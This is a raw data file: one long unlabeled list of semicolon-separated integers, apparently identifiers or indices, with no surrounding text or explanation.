55168;21389;50214;31769;55795;51612;74229;56530;57421;71231;11677;22717;49386;105019;53982;28367;90739;37394;32876;31542;25650;61246;21473;104730;72575;83700;10187;106990;16756;72716;20026;33906;62807;41630;85720;65092;22421;96523;39365;60049;56776;62009;82433;93257;78840;59379;50784;27345;91542;71191;51261;78403;37761;70968;14464;90314;10275;33130;21472;90698;21833;86737;82377;103506;104403;35480;93392;51839;51391;86529;99644;36828;30309;70536;11251;86773;22550;96810;81031;93406;80944;60288;18087;96666;44387;31618;78156;63337;86685;75417;79759;72650;13569;102519;35293;81738;103190;50463;66117;10497;31055;65999;59196;94747;79344;87490;38308;51987;85282;60028;28281;63834;89005;30426;71054;60135;95830;44230;75194;34140;41925;15854;31612;64582;96722;22196;71668;60046;82731;81735;101696;47403;35528;46823;75136;21299;85243;75120;87939;73977;15981;26814;77254;18229;27185;80675;65066;62530;90426;34548;96277;29291;24356;33958;87101;88964;24008;101694;73032;74137;76181;53954;93243;22417;20768;19417;57431;40642;102726;16578;24350;39391;65472;30371;78649;61831;45652;38029;27443;100754;45014;104947;103695;39710;75482;24112;69848;94068;70018;13334;95602;88441;87463;82046;39047;103920;61327;36308;15206;31654;93396;21923;77322;53354;51417;95589;27598;14232;25769;12847;96043;86555;51374;23945;42113;34089;93581;85424;58148;70681;71429;100182;69684;76355;16229;26710;92269;99641;91486;52215;86470;86938;25572;18641;77320;100116;67625;79753;25179;15026;103984;55091;15275;66865;15523;39847;100684;91001;19284;86016;72742;14646;66828;12254;21104;78203;82268;60697;103289;76434;84313;58549;79439;31576;27509;48746;59928;44501;21163;40640;53616;32059;96192;80573;46731;92434;24516;69740;83134;71598;78278;60731;100949;74882;27484;96405;64066;74600;13607;69400;22780;64213;25763;50288;50313;22462;31571;16322;24336;100235;41242;23449;85026;49588;65312;34473;41246;48451;74790;73884;19931;65245;97885;21921;73133;33858;30401;40383;59814;17187;67243;80963;102717;80353;32478;59300;44834;37625;50654;79314;92951;75982;94539;26644;16477;90175;97273;76183;53273;97245;86598;93985;22555;33558;47502;24091;86145;61141;77143;21943;14411;58977;10619;86282;41565;75700;73437;83006;14212;92415;69744;32563;81910;11040;47154;67603;60069;39142;47781;61832;106592;18453;90606;28560;68218;36259;52074;56594;15471;94377;34406;39871;42819;46797;102081;38396;75502;12896;79050;22134;99945;60124;80539;53827;99289;97663;102470;73718;16654;20656;62281;25620;81787;57430;88417;85962;32853;50944;42135;103404;12106;16853;73367;15162;106923;14081;30291;21136;73574;32679;31157;27577;39640;99388;91930;39291;48754;22323;60456;11711;103385;102951;63853;102391;43503;13046;104620;48672;59116;77533;12236;83198;24198;48519;81637;65064;88014;75819;10272;40428;31409;59146;67210;101324;100570;24430;81495;76701;74963;51497;80263;16373;28090;10215;91766;42539;45462;68284;85486;96845;64162;70732;86283;55600;49973;89534;55943;43587;15718;83535;44876;36799;19999;50981;53106;17771;24958;68519;15497;23470;72805;32141;45302;44526;60499;19979;47490;28711;20980;78374;96009;12294;87623;52179;83857;43647;33574;81994;19596;92062;53943;45320;13683;35957;93173;13433;12864;16179;39333;39982;87513;36434;31483;65338;62687;65821;37711;27679;42110;40837;92486;62265;56884;23390;56000;55458;30511;47255;99460;89657;22249;63969;67405;29016;69556;31372;92133;82674;56795;100677;23515;76552;91073;102676;26658;23274;58586;100419;14340;75614;18426;19092;53885;87552;66322;87239;60389;101390;33686;30181;23297;15229;46349;37562;56336;106029;70464;20672;51073;20286;33579;89995;53144;26322;97760;13111;15428;40673;53583;20894;37560;50147;46383;28972;106620;34541;41960;42796;30726;25687;45953;12414;70203;87052;102650;88070;68764;85656;57938;64200;54448;25558;105095;81876;79243;101136;101989;23629;93850;94514;43233;53728;49843;33796;45087;28763;22189;87412;94819;23636;102033;35264;67922;99624;31031;58624;83825;30849;14666;27396;70250;54935;67339;38810;89876;37971;72980;76931;17719;70107;62951;86202;61947;44434;75525;68501;74710;58094;82204;30048;14713;37571;104530;95787;48860;31380;91144;42245;82834;32946;35015;39182;19235;92121;78723;50977;49782;107061;43955;88526;18079;87047;76142;67646;106821;24289;23141;89957;49870;37449;71822;39086;92317;89809;72300;65856;39997;85866;60304;78583;67279;75133;23985;41433;37563;31145;56503;17287;81852;100741;90968;42902;95853;106909;34996;58349;37546;20050;17129;72027;50481;38700;84274;76451;65927;74436;91336;89755;63427;68812;39849;89265;42023;88579;87179;57746;91937;103612;105893;30681;97906;22432;42466;13351;32173;81157;67997;15637;19083;15381;46657;51941;29602;80600;67934;104635;100243;36030;35917;100386;105892;17432;92802;50149;30965;77255;18283;97020;41656;31596;29249;43480;15499;65229;45738;76904;39416;37392;31046;79468;74830;11161;92051;101001;46821;91884;62407;80394;48497;13099;67893;89475;29994;20315;84564;85928;36760;22968;97882;79575;14343;72468;59419;30805;56438;80832;102458;74511;54154;103534;56016;10191;37131;54914;21674;36354;42088;20853;96938;84775;106717;12426;73914;17013;60601;31236;68949;55015;97344;36364;60090;71023;26695;91976;86210;84935;59767;57317;92366;35684;51858;59932;71911;38655;28892;64196;90442;35776;103732;84091;101679;93913;57079;63054;106713;42018;93158;16803;50978;16600;60026;41734;81199;25303;28339;105902;24885;92388;13397;93556;21275;97500;62616;40963;44937;39884;71140;79094;66222;64117;67324;78291;42795;82695;73496;84901;87177;22480;22145;55892;14968;17742;18923;76312;79717;53148;21074;62517;102910;60673;58009;81432;81095;43604;84018;95006;95029;97580;10923;42164;105861;64160;16035;16944;84522;43786;35141;38494;58255;34868;86946;13118;36521;42570;12039;62472;20117;81660;53128;102980;56958;96579;18998;81458;32404;35114;67125;68908;47401;82202;64981;61853;56825;89304;19725;46927;27352;12814;59647;34361;55639;78732;12572;89578;67315;79469;12593;94811;20485;66121;33576;52924;28687;61324;86904;11780;26446;31974;84676;72085;33061;53951;34752;12218;67166;78798;47801;54097;36005;100897;58458;64782;44034;82645;69855;87356;77888;72889;70079;100871;67609;44383;86686;104980;54776;94420;18917;66598;22275;84591;71740;82041;54334;37893;68507;84925;95579;12325;77478;54814;35204;76433;19508;15708;57007;34644;24173;29358;64204;35418;83498;71489;47133;77676;93566;51526;105607;25511;105060;83829;82478;11209;45421;102269;91620;42120;86204;44235;43219;27232;96679;75425;33206;67322;50506;106579;37472;105652;105974;66937;101211;107075;61510;35202;17768;54438;74070;40995;32379;58344;82859;21752;43405;46605;47152;55139;13200;61354;90831;34491;80202;60687;99018;45992;104972;58661;92416;42978;50354;102788;28332;32726;17355;17072;15607;27582;15312;91022;33313;38855;47103;57030;105560;90294;78011;101362;63499;35388;91000;105042;14722;73821;11927;71488;54429;66578;57387;44816;106927;45478;40350;45547;81153;47770;24633;101345;49092;104183;74019;79908;27855;57753;97565;19800;102824;94954;55584;51965;53005;66670;59897;16459;55653;99873;101060;23116;60305;94906;93573;71916;41083;61714;95471;59786;18813;90997;44021;89371;103257;73650;59208;34768;76326;35467;22683;40886;42751;84999;92521;46396;38688;69423;10445;38473;83028;81300;16883;61331;67592;15512;56969;67420;94595;96912;38023;32184;80984;106875;23501;22738;103778;38306;11875;23886;37115;100487;32721;58333;90242;53400;89685;61400;29352;58342;72436;10762;104829;96467;97306;50164;42976;200016;103439;14131;34091;42709;77416;106146;106605;50893;56032;90107;10362;50873;23445;44926;96044;20642;81156;70162;81525;38398;37652;27931;36376;80684;91621;73388;42626;23612;29309;72259;48190;105026;90357;30390;83965;21446;47622;29143;17989;59721;68071;94136;36078;45471;15071;65297;10312;104593;11839;72796;89443;79258;15010;21814;65211;80199;58708;28400;103251;41831;25153;25189;102618;36013;14321;55407;18771;57123;81583;31857;104052;50042;43158;66722;54831;38290;84958;23420;29128;44594;55025;20150;69453;15231;91510;24699;86099;52487;67442;81113;34850;53640;54366;38187;99903;25487;95833;66773;50617;54274;96303;86046;103677;66786;88519;79126;26044;103485;31550;83988;74841;41896;55152;28645;23316;28910;73988;51440;57358;103623;34738;33230;27023;200060;34236;103771;15735;14220;37395;12117;83315;66170;16466;76004;47551;31587;56533;34720;50109;21202;60485;37235;69809;92405;87748;91171;71920;58044;42833;38055;74568;11357;36662;87883;88677;65076;58507;16481;94237;30237;55169;54456;43344;31000;84561;21791;79876;20934;36287;49470;90828;96748;28837;95566;106420;36124;15212;87958;83798;101703;57077;15293;52263;105678;91079;16514;94181;35769;24242;106537;54018;44252;53781;10668;96937;94262;99028;105113;15451;51819;51171;55012;59090;78794;70831;69384;87741;81998;27202;67682;72182;75361;31083;11177;10077;61359;65970;45817;85325;84725;13831;63453;11832;22644;64303;27426;46863;87638;81136;22408;22456;13755;29336;25109;25787;54121;28174;62613;104421;38014;17103;100564;55820;31184;21795;96485;101444;14672;11379;34708;81665;71225;81236;99657;105642;36343;43009;50250;23561;49813;78973;68017;26708;56282;10302;15436;64081;16574;15816;14853;101439;107026;46920;61285;92979;88472;87330;43265;84268;39353;41140;106766;44397;31873;84221;21727;50136;59241;68471;76589;102253;80506;30658;11162;97881;27627;104842;72504;60098;46479;83681;77584;71299;17839;13991;64634;77068;92867;89014;66339;48797;80867;43056;24381;33406;54550;80068;46609;13378;104996;65808;90946;36555;61199;70046;33507;30891;77625;105715;87165;31277;41449;19747;14181;39313;77889;59683;76468;105495;46549;49175;55986;97091;81603;25866;10389;60105;10437;97287;80296;63966;36216;58802;51802;60195;83461;96053;78074;63886;14709;42635;38808;13533;51986;45496;44743;41803;82997;26289;58900;60658;100315;92986;21014;24216;74546;18991;53715;106191;78836;19752;22835;103835;87759;64193;68844;78103;64406;46069;61338;20069;83422;46532;81569;68463;94596;34383;89165;84777;106331;20963;16028;85788;31683;89971;68673;82738;16157;32475;30613;26084;72787;33223;70531;67822;19009;84779;51211;53472;87017;89965;65597;41125;25294;21158;74689;52190;27384;81071;23978;56755;42719;87802;14880;46497;43203;65378;47364;32693;95465;34722;45158;104097;77440;58295;86270;106935;67016;21592;52748;80946;94757;46707;23002;77783;64648;70218;85075;33817;104548;21087;35985;93065;42068;62741;33356;96393;48252;68442;14703;83166;45793;92508;19335;70989;14208;42486;28485;80746;63372;49118;86360;82948;78051;79860;25347;73280;24598;58654;41976;28283;20896;82745;52376;14735;88580;106828;94855;76409;87977;61176;21050;50584;82863;44529;72858;23669;58359;101009;91586;67162;77771;49433;83787;76546;99376;28347;48320;27834;30925;75167;47640;56406;91014;38115;50847;26821;29265;70942;16552;80981;41981;61434;77247;48766;41177;13861;101268;49419;63429;26445;94263;90779;27966;68560;59846;95352;83717;53971;42779;73881;67043;53926;37325;85901;63590;67797;87438;70434;101717;70033;74291;93804;45279;26387;66790;99775;10314;94671;36303;54895;27447;41847;33392;74495;14211;57480;44166;92942;82465;33053;42577;60129;54974;82180;31897;54903;10299;57654;13019;90550;36504;71190;92980;93415;43745;25702;65363;89848;22334;93501;75264;74780;52458;47009;67107;55954;86700;73636;97006;48432;27753;52836;67403;18399;31107;50183;13337;38710;62570;28953;47774;58365;88429;46635;27943;19242;67576;43258;27110;95851;55313;83429;27701;22620;52920;49408;67250;88669;94524;16342;46316;83783;27634;21162;68502;72440;24684;81433;104221;57344;56440;99888;96903;32161;26343;61481;42365;71046;18832;12543;71981;103395;17400;48718;95789;85212;43680;73559;52687;91536;32630;75584;89101;106536;54443;47571;42845;65710;32832;81015;87630;16595;22325;50450;33207;106182;35052;86493;85331;61014;87539;96427;72595;36168;89214;37476;79461;22592;78303;91949;37540;55964;19227;36897;99830;46182;31662;29320;103326;79132;82300;91609;54197;84900;105775;74699;95782;53311;73173;82828;82686;13971;102077;26648;46647;28875;56777;46764;95979;35225;47026;68706;18226;76005;62168;54059;66696;33341;63329;11107;55729;66356;50906;68108;66813;10101;79734;58918;62297;19518;102555;69850;32629;70763;35039;40776;106145;77178;15533;24038;55327;49435;14584;91380;19519;77420;60039;44877;35501;49849;26424;25156;96462;87015;100506;83092;101936;37867;27072;83141;68255;106992;97593;71426;89017;16497;84624;50547;91447;17626;91523;104214;57436;87336;21131;18481;47570;80603;67771;62028;79078;29782;26057;104414;57810;38526;41025;54920;93922;29595;13139;87925;103453;35851;11471;20638;106187;19516;86359;21297;49074;18547;43220;54968;62302;85522;50483;104853;68783;57743;22455;53086;32150;66648;67049;17166;88829;91033;79684;15396;72420;79804;51321;45697;105766;27467;81442;21914;101723;92193;62681;87061;100271;17804;62081;45250;79690;43463;39356;78071;62658;30066;65372;78863;59278;40203;17748;54735;20715;57546;53556;13035;50814;27828;62820;21253;58123;40394;27419;90748;41027;59992;47207;37819;103053;24152;58729;17259;59507;39461;86831;13711;65212;90235;86331;36640;53103;23253;40946;15581;62645;72989;99394;40859;18529;104213;94012;53289;65093;36043;14486;65623;24158;53538;63489;11417;97446;46445;25290;33706;81268;76495;30250;23070;83297;105433;106453;20753;61852;16878;35162;18938;22845;37653;61015;104613;16679;75683;49225;60495;50692;49184;58664;88799;72411;15776;38966;48670;100953;85237;92688;58272;39563;64747;81519;25056;92257;92276;38995;22741;84235;19856;50115;25890;14741;30018;55503;50435;39991;71678;62197;94083;40340;18103;28962;94640;73154;87979;85303;57900;78351;31321;75948;14161;56106;66897;37359;38579;79205;54359;29659;93638;71733;22961;18301;106884;92478;56630;79374;64975;91226;76990;60584;21556;95595;66930;80268;24820;100236;101302;19134;92511;91085;40658;67547;64299;69295;62998;63750;62759;50097;31252;63424;57461;52257;99193;95340;97606;70759;61122;84477;20584;90908;16272;13473;35792;34321;17794;73189;24329;80219;17557;103510;11546;83604;99630;72130;30734;20518;82906;106479;34777;43411;22254;57197;22418;72127;16486;26340;19140;96687;46967;93480;65439;102541;76473;16526;62355;70409;58141;79996;50651;25039;101673;76744;14163;77425;43031;39165;91074;17629;61242;103690;79405;99375;33161;37537;37430;89709;82880;21122;105796;63413;17623;41149;58327;88658;65349;103969;42478;26907;93596;21654;16894;89117;47136;60502;86377;55782;14285;54668;44524;86133;20385;75828;99270;81514;97634;23056;90025;55887;74013;19029;99176;32252;80255;81702;45510;32586;25700;93847;34761;92154;70159;35899;44936;106140;92228;69688;12719;102345;70517;59098;94116;28472;22485;61800;28369;96920;16143;67332;91657;17706;102049;65888;59622;73633;77927;22841;17627;65382;65285;103950;65724;100019;86322;97961;17645;66797;23851;83190;38240;56334;31788;14785;75862;56751;96910;29593;92422;87430;54497;53811;19035;65524;47863;27905;48356;13229;64222;12673;19031;66147;32225;71841;51241;90196;47388;49326;71808;41315;93061;77449;66979;18544;64487;32519;18034;82449;62417;25555;28432;106073;104507;82298;15870;15326;76887;11007;51996;37226;34650;16943;85731;33691;30919;106190;65478;36652;82219;35525;100866;87395;85436;55140;95691;48305;24214;102113;36229;28257;11348;90274;37662;58809;59226;41209;59997;89221;31143;91105;85587;79215;25537;47240;45973;34921;39466;73941;76212;92869;76252;32345;30313;72540;73711;18919;41328;104774;13155;86432;74468;56147;88894;101799;96306;23868;61471;38684;71737;51114;58632;51514;14963;53071;39389;50875;78461;102823;46027;11311;15009;25907;34216;86412;16085;53963;33399;46526;90350;50318;23724;32932;43146;50986;66588;90397;53720;80115;86228;42609;33815;17976;88578;10043;52833;47734;15874;92667;29996;47307;85373;47017;54638;69452;82217;103780;89492;55185;48834;19472;101440;89113;16480;20110;78920;95765;101438;47681;18941;80711;84747;68695;27570;56306;25894;47533;40975;106940;79222;46364;78108;61768;106282;26080;77531;103809;95431;64236;85292;104482;73234;79531;20304;57521;82914;27751;35896;82473;69444;49405;51206;38298;70873;99615;63051;38342;28771;55090;96535;102526;70097;88664;18783;92949;55080;60605;21941;46574;47742;93408;50995;12910;103585;52440;65426;31006;80178;70357;59006;52818;30248;99073;62162;92378;100292;40840;76899;12256;76308;30265;90319;12969;104658;38589;12834;78072;56307;15130;52382;61695;105130;89292;79511;86858;42987;93388;52774;88626;104728;10993;91404;72880;88852;37209;96031;73191;68496;24845;56737;74187;72295;100573;25249;72534;75086;76965;47516;26339;99325;45629;57616;73080;73155;19347;31496;59539;74307;46304;45293;27925;36998;24619;95716;40177;84760;16243;24007;10724;85402;58476;103645;75900;58908;35555;78482;55177;33219;78431;75309;39582;87705;51820;49540;103944;11482;35843;32232;23782;96902;17018;51832;57629;14225;20341;26496;61795;85852;87058;18797;36856;42107;83776;37677;82395;64208;100766;105970;27226;86445;91649;73337;102088;52712;101113;15304;67183;53829;43286;104498;87397;43713;26643;27676;43618;48950;45258;96608;90289;105870;29010;80589;86927;82276;32400;44740;65434;51600;105595;63221;16384;96585;35240;85394;40604;25862;49368;30140;73734;84370;65115;42993;32893;97844;101533;20773;43767;54970;101479;37513;19874;103180;34736;57283;73343;105346;55752;79512;64329;28280;99350;59356;94492;33160;70867;55252;29150;97891;78399;51356;28937;36263;21270;23061;106996;79873;91250;12817;29966;30655;22867;56981;58707;62049;28408;67987;82212;59596;75123;78804;61492;21868;28045;103902;68345;19157;48242;76373;106057;66900;82792;41999;52437;53570;82228;86739;53593;24511;93952;67357;79057;63391;88910;66127;34105;78295;79956;59743;100913;82700;16303;68550;37266;32553;78333;48920;36528;92439;84479;48230;51642;24606;68599;74966;92233;53575;46724;104169;100025;31013;25692;99335;68127;68758;28006;35715;14089;82259;63982;96620;19557;85594;50121;70439;96729;25025;104424;72225;50555;46115;73699;61491;69926;40020;17994;81967;19048;87800;62287;89757;24156;53945;100065;96605;101403;68009;25562;35579;79153;67123;24506;61729;97830;72421;33583;21631;40535;66351;15992;89150;30113;102584;35539;22047;90763;60902;35652;80131;42803;27756;33176;68915;46631;36763;45594;43070;72286;72084;87302;29821;45597;27633;64091;101042;101991;39685;22251;68650;33272;103365;91257;51706;79542;34106;97461;50101;86650;82855;46783;18195;81250;102753;85999;39163;103444;81007;85977;15814;33424;95007;73880;59714;50526;77698;18851;40949;74708;16430;73111;83209;68893;44257;31180;28855;11109;64643;59109;58591;97299;23930;29280;85346;200104;22108;63659;22110;16658;18553;44029;22476;78141;66001;104453;92475;36611;65017;66054;76951;20232;74095;30844;22439;69008;105597;15876;53238;76458;47716;99428;79324;30157;101051;58711;51304;66734;42308;73157;19363;45308;90374;63114;65455;93468;76182;18599;85338;51443;31499;27901;92018;85590;12459;58739;97408;95881;24540;17672;63246;38916;64371;39839;97514;66524;102133;66753;102127;38395;49643;64173;88555;16589;13841;60715;66000;73365;90485;16218;30445;56913;58471;77848;88924;55471;18052;101337;26032;17671;76748;19172;32096;71037;11898;66941;86692;59800;52004;63773;93284;51410;72502;71777;92471;54041;107042;86876;43930;76933;21138;22983;84005;92365;59945;59140;41199;65950;83457;21488;103103;62912;54188;18791;12112;10049;67025;64866;14627;60231;17611;11822;74684;83556;15388;46460;102989;40880;29695;34942;13518;46954;15167;52232;14637;91710;76849;51003;17297;70701;22799;72657;27407;14011;101512;90332;89201;92635;101210;58947;13811;97648;51230;43180;102828;57148;100957;59640;53625;66907;102551;39844;41465;101617;88424;48810;97265;99009;64287;44981;36412;38780;39601;37232;93286;57133;21394;11892;87646;64843;27791;15041;49754;41138;91703;18371;68045;77042;49688;105696;33192;106781;56529;62213;59655;82634;79999;57106;101776;63565;71685;63913;22554;13393;101917;81394;70359;13696;78131;44081;51567;92150;88846;18628;15950;81239;35864;61789;97867;54758;39407;20075;95946;61453;95268;83381;11970;89432;100686;74207;77544;20048;37565;58292;95398;90407;74875;19881;18378;86709;11541;72953;105585;75124;41694;94863;13732;78313;46521;14398;102418;19340;50826;52883;75043;89407;34246;16935;39812;19499;41185;101953;83525;50177;12985;48201;19915;22910;55949;78915;102662;15687;84535;25242;94844;32428;66296;60065;62102;62963;81283;95887;14664;57486;27805;36664;88838;74285;29522;93259;13189;80005;58374;84812;46153;32496;60396;42307;106842;64298;84996;56695;27164;101811;102384;55280;61226;20921;65889;71103;69963;90538;106023;99612;34695;91038;97988;101510;44059;21845;53671;14142;50604;37033;62313;73619;102435;73540;52204;46045;95711;25111;72014;40984;94288;81402;87530;25795;14897;22460;24442;64752;36839;23602;103924;69932;47323;101824;99299;22636;99875;27147;65385;27010;85970;62886;37308;63640;10698;82379;68286;78582;47141;36161;56163;55903;74247;49149;76758;18580;53054;34687;23621;73516;17054;89766;14284;41594;40124;42109;57600;75281;69930;70850;96381;38792;33835;43483;80167;31399;70780;96129;66868;38744;105093;19449;25023;97409;59046;39166;49279;64340;30035;74526;29820;104758;51372;63423;76411;35818;24127;47606;99435;34813;23074;99576;21364;45369;61494;11082;103070;29827;56842;97709;14581;43206;76635;103587;33381;23572;61690;22199;83153;37012;33316;27124;37980;53481;10179;61908;26735;18814;64252;87357;39825;78627;89228;81093;57996;17985;33662;33528;28169;13590;10257;77647;16762;53177;42772;59617;14654;22143;97068;23997;76445;107134;52477;17511;19551;28351;70358;88600;99731;105594;34528;94374;53736;73989;90135;92394;50914;106539;12238;43304;23972;97093;68663;44774;67069;43517;64136;74738;90931;83354;86818;79336;95364;66728;87766;103839;88493;86518;61335;92718;23893;72294;65365;62610;63115;47757;68276;20280;105135;104677;83849;35084;69024;91770;35451;27810;106410;39134;63381;42108;51153;84251;25043;81388;32455;27138;103960;51400;25493;12445;17407;79889;36924;56241;78573;69613;25113;60845;104946;69912;31475;42342;43724;48458;100975;52461;79635;100539;45586;53055;17831;36718;64338;105110;72314;26212;90379;39545;15246;82162;57105;85427;104933;64571;43932;51342;78437;25010;86323;50098;44931;39959;40919;92273;70829;54822;60969;89798;91161;69959;81339;33515;44739;67031;32735;97415;68627;87166;105434;86882;74933;53058;99309;83081;34953;100946;76215;102533;67557;200122;57122;53115;60070;53167;13301;87634;39250;74448;20115;65937;105862;64675;71858;89967;30141;103838;63320;106528;67653;78429;45152;90026;63618;21004;47503;28843;55647;74467;94063;20566;61209;32388;59103;53330;59629;29134;28598;12059;103027;22687;26000;55480;56740;40741;61838;92888;10838;22320;30641;42324;66476;25627;37260;69700;85936;43662;46729;75228;69038;55490;55712;23833;12503;73682;77248;40791;22773;53191;83990;34074;22006;41878;31522;80656;57309;34705;82765;16554;84438;51067;21185;95935;45281;63262;77128;32526;85583;53064;87415;24868;85314;87020;68531;79350;103881;104868;89075;54350;100768;46683;21117;85246;10050;19094;46377;81730;25805;34914;56168;72247;83586;71045;46422;63182;71903;15450;45083;26949;51683;69420;27549;11152;49494;20410;80679;63314;68716;100094;87026;47353;60916;39331;22937;18178;40137;95601;35003;79484;61581;56517;50554;81595;41396;37215;36519;50449;41865;17212;88794;92542;71166;29805;54741;65267;25227;28652;17569;66284;51050;46453;47085;65258;74249;22116;38149;90471;106090;49129;49646;63744;104282;13323;15914;67331;32906;28704;70883;80008;92654;16283;16318;35802;49014;90315;32780;76621;40935;93255;65899;87155;99068;67761;11932;77415;33952;32668;11010;29469;24945;35366;29730;44281;97829;71012;89448;39447;42205;74607;16720;26946;105441;61806;82301;30781;35931;32542;42138;41959;51785;11587;64801;40058;60917;31593;100819;38702;46011;12000;86225;18597;29963;13452;100899;99564;47887;58363;46080;41871;29184;57170;91399;51856;104721;42475;91584;63692;28607;10423;59195;64921;12535;33996;21159;63063;24967;55265;90486;73504;34586;105800;80390;55579;33669;84208;55247;36241;52708;16908;47745;21886;61601;84266;105609;51117;61786;104639;58466;27772;21882;67660;99631;76513;65183;56083;15669;53528;40378;95286;90566;38527;106175;42347;107054;36095;34544;101820;70047;105973;103918;39776;76014;105413;84142;70011;91942;55595;77284;70040;77001;89703;21606;65981;62180;68830;67423;104582;16123;26016;35940;80313;60709;41892;79508;93948;37526;54372;10856;91530;28101;83417;52186;13369;29028;67655;102801;86779;26335;37738;66177;19421;88749;64825;83094;54277;56683;103340;54227;41843;45007;49756;72058;76937;32075;38829;51328;28701;83655;43996;104257;37146;49602;99165;38021;58042;31927;41203;104570;49262;55241;51218;62547;77573;70958;73867;42251;52445;35248;27394;100606;27874;59399;24896;22399;55071;40302;55993;20721;105294;74213;76006;80772;15224;75894;75756;71850;100138;67481;93434;38942;17996;21730;93645;99614;38918;12485;18965;101998;69023;19280;81830;79301;62336;69080;67373;20973;36154;49919;90347;60593;76159;84165;45848;27876;23282;88731;34102;97422;88844;61258;105630;106213;101906;50186;68624;77620;28094;61380;38531;46336;20441;16996;86838;29925;44574;45191;33999;60334;105487;19460;106285;89361;14053;95582;24560;30522;23555;84409;40456;24197;15289;22165;53091;93527;57992;36245;53210;83803;96002;87250;56925;31976;24146;69646;82800;81534;72916;47574;27904;29843;84849;31704;59045;71089;102390;85922;55223;81931;21849;54817;76875;35755;62452;20789;52729;79673;54564;11594;22939;52425;95739;77397;78834;25917;69725;69134;46019;56290;87163;13753;61560;56578;67762;18980;89618;82773;60574;24636;45004;65316;20384;94376;95554;32342;96881;48914;54395;41486;72096;32144;12240;106451;11490;10192;36753;59573;32916;51197;59845;51631;96378;82865;83663;34807;23675;90662;23079;56641;29381;93961;56187;79170;20107;78204;104006;104402;50080;79429;31617;25942;24359;55133;33570;50151;85501;17468;105665;76116;53425;58012;30352;57195;96248;66072;107037;59681;26474;29230;86226;76038;65081;46928;21369;33325;52353;33597;63705;56814;35394;106443;68355;101707;15238;56982;49028;106462;23089;84181;18358;90414;82190;68312;85258;90940;57590;48802;62617;105664;41563;36372;14376;94365;42869;31240;21151;15591;43694;82351;61502;33814;55688;17036;81240;69293;61810;79810;52420;45033;59074;76998;101118;11576;23468;94575;93206;24096;15371;32713;39025;14254;47381;18542;106059;19131;43773;49604;69155;46400;100780;50936;93624;40780;38057;79520;100494;34621;61322;82326;63560;73510;74372;94182;102433;34929;32619;105732;29817;22754;38279;19717;12756;39426;105205;25216;96402;70676;80119;35205;69347;26744;97700;58628;44790;104913;61181;36051;64244;30255;16707;72545;35745;13426;60950;28273;59227;76042;66051;63340;45711;25524;14507;40035;101197;22369;19112;47064;102306;11287;18155;17404;50769;101945;82546;79422;47022;70497;75838;103852;65519;82896;91439;38560;23584;49699;25108;47242;25589;105351;75936;76277;101419;29834;80264;103100;34349;103420;23000;26560;61580;16456;93460;27554;38325;26172;80939;41412;85144;59267;92794;11622;25191;93039;71548;48527;25593;72973;65327;33990;25454;11220;51193;18148;16316;91844;69128;13616;24800;96058;38174;60278;84046;82214;22400;29374;87942;67794;102006;24073;17414;65985;23268;80487;77263;62735;89946;31507;23693;25574;40082;100627;70302;45712;76762;63440;36025;17640;32778;20865;24841;54698;80768;25434;92671;91211;87221;91917;75225;47667;73448;103468;75262;11313;107029;39954;80987;89925;28559;39589;102147;61559;78525;69547;18549;84965;100161;61791;38662;99964;31651;58909;40988;22420;59149;106284;42941;104741;94430;63117;61513;65816;82583;73314;79607;33167;35688;66221;82150;80002;20702;80740;61164;60372;57689;94290;51518;80872;76276;104993;62035;20661;25815;56886;95873;43048;72375;70636;96448;53401;75825;28688;66833;73831;36370;53416;85986;32959;83455;60535;56687;25849;46558;17125;100694;36008;86433;43290;89204;41233;44228;31934;71484;54198;96576;83476;12876;46743;68902;81219;28474;10254;97137;75820;33203;70509;11788;105836;72867;84319;106481;64723;84162;21922;51320;81102;105266;39305;15270;70260;49086;36447;43450;89036;76833;20321;42059;23028;99567;83387;38608;25406;40666;34193;106126;74698;92971;35137;50517;20751;49237;44156;56739;25510;69648;69137;58594;66206;31514;90246;87230;61859;36394;58422;52374;59676;97602;27439;91669;12992;53397;100054;11351;91172;25576;23164;30848;59892;82788;97369;77640;18168;43235;43166;62255;60497;71615;65355;71273;42968;99695;65857;28996;40022;90087;90646;31001;32457;87747;38961;13388;61636;38990;12067;33522;81842;69892;64268;25001;55037;68995;12268;31319;36426;105626;46953;76974;31697;67146;36056;31292;32284;25938;58202;99178;48378;12886;95395;16969;100106;81771;91805;106600;17785;38178;24292;103362;11369;85132;65444;73705;47088;75400;63811;61159;85269;19663;96880;88092;32808;83659;40135;61256;96038;22013;42700;51750;60910;89910;48639;46052;12324;14459;41877;55816;59461;73127;92292;41361;55546;33477;31450;106712;27107;16339;104203;74964;91810;36788;16124;72641;65760;59450;90773;43867;14779;27663;31969;80221;45178;12783;94304;18969;46903;30762;53692;87936;17105;41684;102627;67890;26293;58415;53905;84437;97997;40377;76698;96647;89963;85213;60703;12425;77428;10697;79857;51495;91156;67465;76078;78021;40362;71964;80634;26954;106966;62132;65890;101077;55920;105883;81841;57471;104071;63551;102095;14278;65504;86754;62966;60352;14360;91913;47610;46369;31258;88647;57943;38675;51905;70356;49151;87340;77525;34198;47539;33703;36329;21785;83636;29956;72817;66056;27062;78379;51146;21611;24869;102376;94633;90936;94510;86465;81482;14860;72389;27369;43938;28529;68582;46148;90342;93001;16518;25939;78205;61175;67570;42899;103725;44106;68636;58689;50131;87171;73097;26525;56649;22046;16860;64603;55621;71712;24899;27685;82512;25112;56732;69269;61778;81888;30211;83815;100221;79229;77016;94772;31609;91821;102003;23041;49955;90141;18658;14091;83870;32479;33241;32961;79659;55728;35041;73568;103281;29769;30616;23644;102110;89926;69663;54054;35724;64234;81802;43548;10376;49178;84543;45069;105116;29044;48723;24454;47623;33393;19274;60932;77335;37960;35372;37778;20606;42417;93222;46361;10892;18893;105063;76944;74564;14148;90366;21599;58002;14861;18219;18053;53725;80542;23940;97099;64353;65701;57944;22328;102842;100443;28321;64622;41372;44406;44636;101121;22065;18865;87153;49861;23277;47441;15116;67714;16294;25967;65341;44976;68487;58599;41568;59528;59917;12763;26659;83029;15972;12036;81843;23829;39257;88163;24790;88017;13371;47484;35120;28999;56809;76180;73703;37094;75068;85978;12101;43197;106357;77034;75573;95983;39654;96872;99242;75832;33872;51666;18841;74612;105470;14604;80652;49800;68330;89518;43854;15019;14972;70115;80187;10405;61910;39081;13026;17749;91695;15900;50562;19206;44102;58784;45318;84205;99171;100477;83239;28342;38985;89223;29531;24981;86239;19486;14727;81862;79161;35121;65388;100759;100437;84375;81668;103374;34224;44243;100544;47874;57612;59058;40084;56521;56655;49902;38008;10173;81066;40067;78964;57404;65233;42008;34763;90799;51020;103063;69097;65214;104114;97871;30496;26558;32798;82303;20840;24469;15201;13952;16126;79744;66609;50927;91765;48656;